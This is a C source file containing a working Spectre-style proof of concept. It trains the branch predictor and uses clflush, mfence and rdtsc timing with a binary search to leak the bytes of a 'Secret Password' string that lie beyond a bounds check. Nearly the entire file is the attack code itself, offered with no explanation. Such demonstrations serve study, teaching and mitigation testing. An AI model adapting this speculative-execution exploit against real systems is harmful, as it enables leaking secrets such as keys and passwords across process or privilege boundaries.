#include <stdio.h>

unsigned size = 6;
char z1[60] = {-1};
char v[] = "Secret Password";
char flag;
char z2[63];
unsigned long m;

void sub(unsigned x, char y)
{
	if (x < size)
	if (v[x] > y) 
		flag = 1;
}

unsigned long acc()
{
	unsigned long a, b;
	a = __builtin_ia32_rdtsc();
	flag = 0;
	__builtin_ia32_mfence();
	b = __builtin_ia32_rdtsc();
	return b - a;
}

char find(unsigned x)
{
	int u[6] = {0};
	u[0] = x;
	char a = 0, z = 0x7F;
	while (a < z)
	{
		char y = a + z >> 1;
		__builtin_ia32_clflush(&flag);
		for (int i = 6; i;)
		{
			__builtin_ia32_clflush(&size);
			__builtin_ia32_mfence();
			sub(u[--i], y);
			for (int j = 0x20; j; --j)
				__builtin_ia32_pause();
		}
		unsigned time = acc();
		if (time < 256)
			a = y + 1;
		else 
			z = y;
	}
	return a;
}

int main()
{
	sub(0, 0);
	__builtin_ia32_mfence();
	__builtin_ia32_clflush(&flag);
	__builtin_ia32_mfence();
	m = acc() + acc() >> 1;
	char u[16];
	for (unsigned i = 0; i < 15; ++i)
		u[i] = find(i);
	u[15] = 0;
	printf("%s\n", u);
	return 0;
}
